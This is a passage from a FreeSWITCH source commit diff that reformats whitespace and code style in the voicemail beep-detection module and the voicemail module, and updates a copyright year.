+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
- return;
- }
+ return;
+ }
- vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
- );
+ vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
+ );
- vmd_info->state = BEEP_NOT_DETECTED;
- vmd_info->session = session;
- vmd_info->pos = 0;
- /*
- vmd_info->data = NULL;
- vmd_info->data_len = 0;
- */
- for (i = 0; i < POINTS; i++) {
- vmd_info->points[i].freq = 0.0;
- vmd_info->points[i].ampl = 0.0;
- }
+ vmd_info->state = BEEP_NOT_DETECTED;
+ vmd_info->session = session;
+ vmd_info->pos = 0;
+ /*
+ vmd_info->data = NULL;
+ vmd_info->data_len = 0;
+ */
+ for (i = 0; i < POINTS; i++) {
+ vmd_info->points[i].freq = 0.0;
+ vmd_info->points[i].ampl = 0.0;
+ }
- status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
+ status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
- return;
- }
+ if (status != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+ return;
+ }
- switch_channel_set_private(channel, "_vmd_", bug);
+ switch_channel_set_private(channel, "_vmd_", bug);
if ((minTimeString = switch_channel_get_variable(channel, "vmd_min_time")) && (mintime = atoi(minTimeString))) {
vmd_info->minTime = mintime;
@@ -598,7 +596,7 @@
vmd_info->minTime = MIN_TIME;
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n",vmd_info->minTime);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n", vmd_info->minTime);
}
/*! \brief Called when the module shuts down
@@ -608,9 +606,9 @@
*/
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_vmd_shutdown)
{
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH API handler function.
@@ -622,121 +620,121 @@
*/
SWITCH_STANDARD_API(vmd_api_main)
{
- switch_core_session_t *vmd_session = NULL;
- switch_media_bug_t *bug;
- vmd_session_info_t *vmd_info;
- switch_channel_t *channel;
- switch_status_t status;
- int argc;
- char *argv[VMD_PARAMS];
- char *ccmd = NULL;
- char *uuid;
- char *command;
- int i;
+ switch_core_session_t *vmd_session = NULL;
+ switch_media_bug_t *bug;
+ vmd_session_info_t *vmd_info;
+ switch_channel_t *channel;
+ switch_status_t status;
+ int argc;
+ char *argv[VMD_PARAMS];
+ char *ccmd = NULL;
+ char *uuid;
+ char *command;
+ int i;
- /* No command? Display usage */
- if (zstr(cmd)) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
+ /* No command? Display usage */
+ if (zstr(cmd)) {
+ stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
+ return SWITCH_STATUS_SUCCESS;
+ }
- /* Duplicated contents of original string */
- ccmd = strdup(cmd);
- /* Separate the arguments */
- argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
+ /* Duplicated contents of original string */
+ ccmd = strdup(cmd);
+ /* Separate the arguments */
+ argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
- /* If we don't have the expected number of parameters
- * display usage */
- if (argc != VMD_PARAMS) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
+ /* If we don't have the expected number of parameters
+ * display usage */
+ if (argc != VMD_PARAMS) {
+ stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
goto end;
- }
+ }
- uuid = argv[0];
- command = argv[1];
+ uuid = argv[0];
+ command = argv[1];
- /* using uuid locate a reference to the FreeSWITCH session */
- vmd_session = switch_core_session_locate(uuid);
+ /* using uuid locate a reference to the FreeSWITCH session */
+ vmd_session = switch_core_session_locate(uuid);
- /* If the session was not found exit */
- if (vmd_session == NULL) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
+ /* If the session was not found exit */
+ if (vmd_session == NULL) {
+ stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
goto end;
- }
+ }
- /* Get current channel of the session to tag the session
- * This indicates that our module is present */
- channel = switch_core_session_get_channel(vmd_session);
+ /* Get current channel of the session to tag the session
+ * This indicates that our module is present */
+ channel = switch_core_session_get_channel(vmd_session);
- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(command, "stop") == 0) {
- switch_channel_set_private(channel, "_vmd_", NULL);
- switch_core_media_bug_remove(vmd_session, &bug);
- switch_safe_free(ccmd);
- stream->write_function(stream, "+OK\n");
+ /* Is this channel already set? */
+ bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
+ /* If yes */
+ if (bug != NULL) {
+ /* If we have a stop remove audio bug */
+ if (strcasecmp(command, "stop") == 0) {
+ switch_channel_set_private(channel, "_vmd_", NULL);
+ switch_core_media_bug_remove(vmd_session, &bug);
+ switch_safe_free(ccmd);
+ stream->write_function(stream, "+OK\n");
goto end;
- }
+ }
- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
+ /* We have already started */
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
goto end;
- }
+ }
- /* If we don't see the expected start exit */
- if (strcasecmp(command, "start") != 0) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
+ /* If we don't see the expected start exit */
+ if (strcasecmp(command, "start") != 0) {
+ stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
goto end;
- }
+ }
- /* Allocate memory attached to this FreeSWITCH session for
- * use in the callback routine and to store state information */
- vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
- );
+ /* Allocate memory attached to this FreeSWITCH session for
+ * use in the callback routine and to store state information */
+ vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
+ );
- /* Set initial values and states */
- vmd_info->state = BEEP_NOT_DETECTED;
- vmd_info->session = vmd_session;
- vmd_info->pos = 0;
+ /* Set initial values and states */
+ vmd_info->state = BEEP_NOT_DETECTED;
+ vmd_info->session = vmd_session;
+ vmd_info->pos = 0;
/*
vmd_info->data = NULL;
vmd_info->data_len = 0;
*/
- for (i = 0; i < POINTS; i++) {
- vmd_info->points[i].freq = 0.0;
- vmd_info->points[i].ampl = 0.0;
- }
+ for (i = 0; i < POINTS; i++) {
+ vmd_info->points[i].freq = 0.0;
+ vmd_info->points[i].ampl = 0.0;
+ }
- /* Add a media bug that allows me to intercept the
- * reading leg of the audio stream */
- status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
+ /* Add a media bug that allows me to intercept the
+ * reading leg of the audio stream */
+ status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
- /* If adding a media bug fails exit */
- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
- goto end;
- }
+ /* If adding a media bug fails exit */
+ if (status != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+ goto end;
+ }
- /* Set the vmd tag to detect an existing vmd media bug */
- switch_channel_set_private(channel, "_vmd_", bug);
+ /* Set the vmd tag to detect an existing vmd media bug */
+ switch_channel_set_private(channel, "_vmd_", bug);
- /* Everything went according to plan! Notify the user */
- stream->write_function(stream, "+OK\n");
+ /* Everything went according to plan! Notify the user */
+ stream->write_function(stream, "+OK\n");
- end:
+ end:
if (vmd_session) {
switch_core_session_rwunlock(vmd_session);
}
- switch_safe_free(ccmd);
+ switch_safe_free(ccmd);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -146,7 +146,7 @@
switch_thread_rwlock_t *rwlock;
switch_memory_pool_t *pool;
uint32_t flags;
-
+
switch_xml_config_item_t config[VM_PROFILE_CONFIGITEM_COUNT];
switch_xml_config_string_options_t config_str_pool;
};
@@ -157,17 +157,19 @@
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
-
+
if (!zstr(profile->odbc_dsn)) {
options.odbc_options.dsn = profile->odbc_dsn;
options.odbc_options.user = profile->odbc_user;
options.odbc_options.pass = profile->odbc_pass;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
} else {
options.core_db_options.db_path = profile->dbname;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
}
}
@@ -190,7 +192,7 @@
status = switch_cache_db_execute_sql(dbh, sql, NULL);
end:
-
+
switch_cache_db_release_db_handle(&dbh);
if (mutex) {
@@ -200,21 +202,22 @@
return status;
}
-static switch_bool_t vm_execute_sql_callback(vm_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback, void *pdata)
+static switch_bool_t vm_execute_sql_callback(vm_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
+ void *pdata)
{
switch_bool_t ret = SWITCH_FALSE;
char *errmsg = NULL;
switch_cache_db_handle_t *dbh = NULL;
-
+
if (mutex) {
switch_mutex_lock(mutex);
}
if (!(dbh = vm_get_db_handle(profile))) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+ goto end;
+ }
+
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
if (errmsg) {
@@ -245,21 +248,14 @@
" cid_name VARCHAR(255),\n"
" cid_number VARCHAR(255),\n"
" in_folder VARCHAR(255),\n"
- " file_path VARCHAR(255),\n"
- " message_len INTEGER,\n"
- " flags VARCHAR(255),\n"
- " read_flags VARCHAR(255),\n"
- " forwarded_by VARCHAR(255)\n"
- ");\n";
+ " file_path VARCHAR(255),\n"
+ " message_len INTEGER,\n" " flags VARCHAR(255),\n" " read_flags VARCHAR(255),\n" " forwarded_by VARCHAR(255)\n" ");\n";
static char vm_pref_sql[] =
"CREATE TABLE voicemail_prefs (\n"
" username VARCHAR(255),\n"
- " domain VARCHAR(255),\n"
- " name_path VARCHAR(255),\n"
- " greeting_path VARCHAR(255),\n"
- " password VARCHAR(255)\n"
- ");\n";
+ " domain VARCHAR(255),\n"
+ " name_path VARCHAR(255),\n" " greeting_path VARCHAR(255),\n" " password VARCHAR(255)\n" ");\n";
static char *vm_index_list[] = {
"create index voicemail_msgs_idx1 on voicemail_msgs(created_epoch)",
@@ -280,7 +276,7 @@
switch_core_destroy_memory_pool(&profile->pool);
}
-static void destroy_profile(const char *profile_name, switch_bool_t block)
+static void destroy_profile(const char *profile_name, switch_bool_t block)
{
vm_profile_t *profile = NULL;
switch_mutex_lock(globals.mutex);
@@ -295,17 +291,18 @@
}
if (block) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Waiting for write lock\n", profile->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Waiting for write lock\n", profile->name);
switch_thread_rwlock_wrlock(profile->rwlock);
} else {
if (switch_thread_rwlock_trywrlock(profile->rwlock) != SWITCH_STATUS_SUCCESS) {
/* Lock failed, set the destroy flag so it'll be destroyed whenever its not in use anymore */
switch_set_flag(profile, PFLAG_DESTROY);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Profile is in use, memory will be freed whenever its no longer in use\n", profile->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Profile is in use, memory will be freed whenever its no longer in use\n",
+ profile->name);
return;
}
}
-
+
free_profile(profile);
}
@@ -321,26 +318,26 @@
static switch_xml_config_int_options_t config_int_ht_0 = { SWITCH_TRUE, 0 };
static switch_xml_config_enum_item_t config_play_date_announcement[] = {
- { "first", VM_DATE_FIRST },
- { "last", VM_DATE_LAST },
- { "never", VM_DATE_NEVER },
- { NULL, 0 }
+ {"first", VM_DATE_FIRST},
+ {"last", VM_DATE_LAST},
+ {"never", VM_DATE_NEVER},
+ {NULL, 0}
};
-static switch_status_t vm_config_email_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t vm_config_email_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+ switch_bool_t changed)
{
- vm_profile_t *profile = (vm_profile_t*)item->data;
-
+ vm_profile_t *profile = (vm_profile_t *) item->data;
+
switch_assert(profile);
-
- if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
- {
+
+ if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
char *email_headers = NULL, *email_body = NULL;
if (newvalue) {
switch_stream_handle_t stream;
SWITCH_STANDARD_STREAM(stream);
- if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
+ if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
email_headers = switch_core_strdup(profile->pool, stream.data);
if ((email_body = strstr(email_headers, "\n\n"))) {
*email_body = '\0';
@@ -350,10 +347,10 @@
email_body += 4;
}
}
-
+
free(stream.data);
}
-
+
if (email_headers) {
profile->email_headers = email_headers;
}
@@ -361,23 +358,23 @@
profile->email_body = email_body;
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t vm_config_notify_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t vm_config_notify_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+ switch_bool_t changed)
{
- vm_profile_t *profile = (vm_profile_t*)item->data;
-
+ vm_profile_t *profile = (vm_profile_t *) item->data;
+
switch_assert(profile);
-
- if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
- {
+
+ if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
char *email_headers = NULL, *email_body = NULL;
if (newvalue) {
switch_stream_handle_t stream;
SWITCH_STANDARD_STREAM(stream);
- if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
+ if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
email_headers = switch_core_strdup(profile->pool, stream.data);
if ((email_body = strstr(email_headers, "\n\n"))) {
*email_body = '\0';
@@ -387,10 +384,10 @@
email_body += 4;
}
}
-
+
free(stream.data);
}
-
+
if (email_headers) {
profile->notify_email_headers = email_headers;
}
@@ -398,24 +395,24 @@
profile->notify_email_body = email_body;
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t vm_config_web_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t vm_config_web_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+ switch_bool_t changed)
{
- vm_profile_t *profile = (vm_profile_t*)item->data;
-
+ vm_profile_t *profile = (vm_profile_t *) item->data;
+
switch_assert(profile);
-
- if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
- {
+
+ if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
char *web_head = NULL, *web_tail = NULL;
if (newvalue) {
switch_stream_handle_t stream;
SWITCH_STANDARD_STREAM(stream);
- if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
- web_head = switch_core_strdup(profile-> pool, stream.data);
+ if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {
+ web_head = switch_core_strdup(profile->pool, stream.data);
if ((web_tail = strstr(web_head, "<!break>\n"))) {
*web_tail = '\0';
@@ -425,32 +422,33 @@
web_tail += 10;
}
}
-
+
free(stream.data);
}
-
+
if (web_head) {
- profile->web_head= web_head;
+ profile->web_head = web_head;
}
-
+
if (web_tail) {
profile->web_tail = web_tail;
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t vm_config_validate_samplerate(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t vm_config_validate_samplerate(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+ switch_bool_t changed)
{
if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && newvalue) {
- int val = *(int*)item->ptr;
+ int val = *(int *) item->ptr;
if (val != 0 && !switch_is_valid_rate(val)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid samplerate %s\n", newvalue);
return SWITCH_STATUS_FALSE;
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -460,154 +458,148 @@
vm_profile_t *profile_set_config(vm_profile_t *profile)
{
int i = 0;
-
+
profile->config_str_pool.pool = profile->pool;
/*
- SWITCH _CONFIG_SET_ITEM(item, "key", type, flags,
- pointer, default, options, help_syntax, help_description)
- */
-
- /* DTMFs */
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-new-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->play_new_messages_key, "1", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-saved-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->play_saved_messages_key, "2", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "login-keys", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->login_keys, "0", &config_login_keys, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "main-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->main_menu_key, "0", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-greet-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->skip_greet_key, "#", &config_dtmf, NULL, NULL);
+ SWITCH _CONFIG_SET_ITEM(item, "key", type, flags,
+ pointer, default, options, help_syntax, help_description)
+ */
+
+ /* DTMFs */
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-new-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->play_new_messages_key, "1", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-saved-messages-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->play_saved_messages_key, "2", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "login-keys", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->login_keys, "0", &config_login_keys, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "main-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->main_menu_key, "0", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-greet-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->skip_greet_key, "#", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "skip-info-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->skip_info_key, "", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "config-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->config_menu_key, "5", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->record_greeting_key, "1", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "choose-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->choose_greeting_key, "2", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->record_name_key, "3", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "change-pass-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->change_pass_key, "6", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->record_file_key, "3", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "listen-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->listen_file_key, "1", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "save-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->save_file_key, "2", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "delete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->delete_file_key, "7", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "undelete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->undelete_file_key, "8", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->email_key, "4", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->callback_key, "5", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "pause-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->pause_key, "0", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "restart-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->restart_key, "1", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "ff-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->ff_key, "6", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "rew-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->rew_key, "4", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "previous-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->prev_msg_key, "", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->next_msg_key, "", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "urgent-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->urgent_key, "*", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->operator_key, "", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->vmain_key, "", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->vmain_ext, "", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "forward-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->forward_key, "8", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prepend-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->prepend_key, "1", &config_dtmf, NULL, NULL);
+ &profile->skip_info_key, "", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "config-menu-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->config_menu_key, "5", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->record_greeting_key, "1", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "choose-greeting-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->choose_greeting_key, "2", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->record_name_key, "3", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "change-pass-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->change_pass_key, "6", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->record_file_key, "3", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "listen-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->listen_file_key, "1", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "save-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->save_file_key, "2", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "delete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->delete_file_key, "7", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "undelete-file-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->undelete_file_key, "8", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->email_key, "4", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->callback_key, "5", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "pause-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->pause_key, "0", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "restart-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->restart_key, "1", &config_dtmf, NULL, NULL);
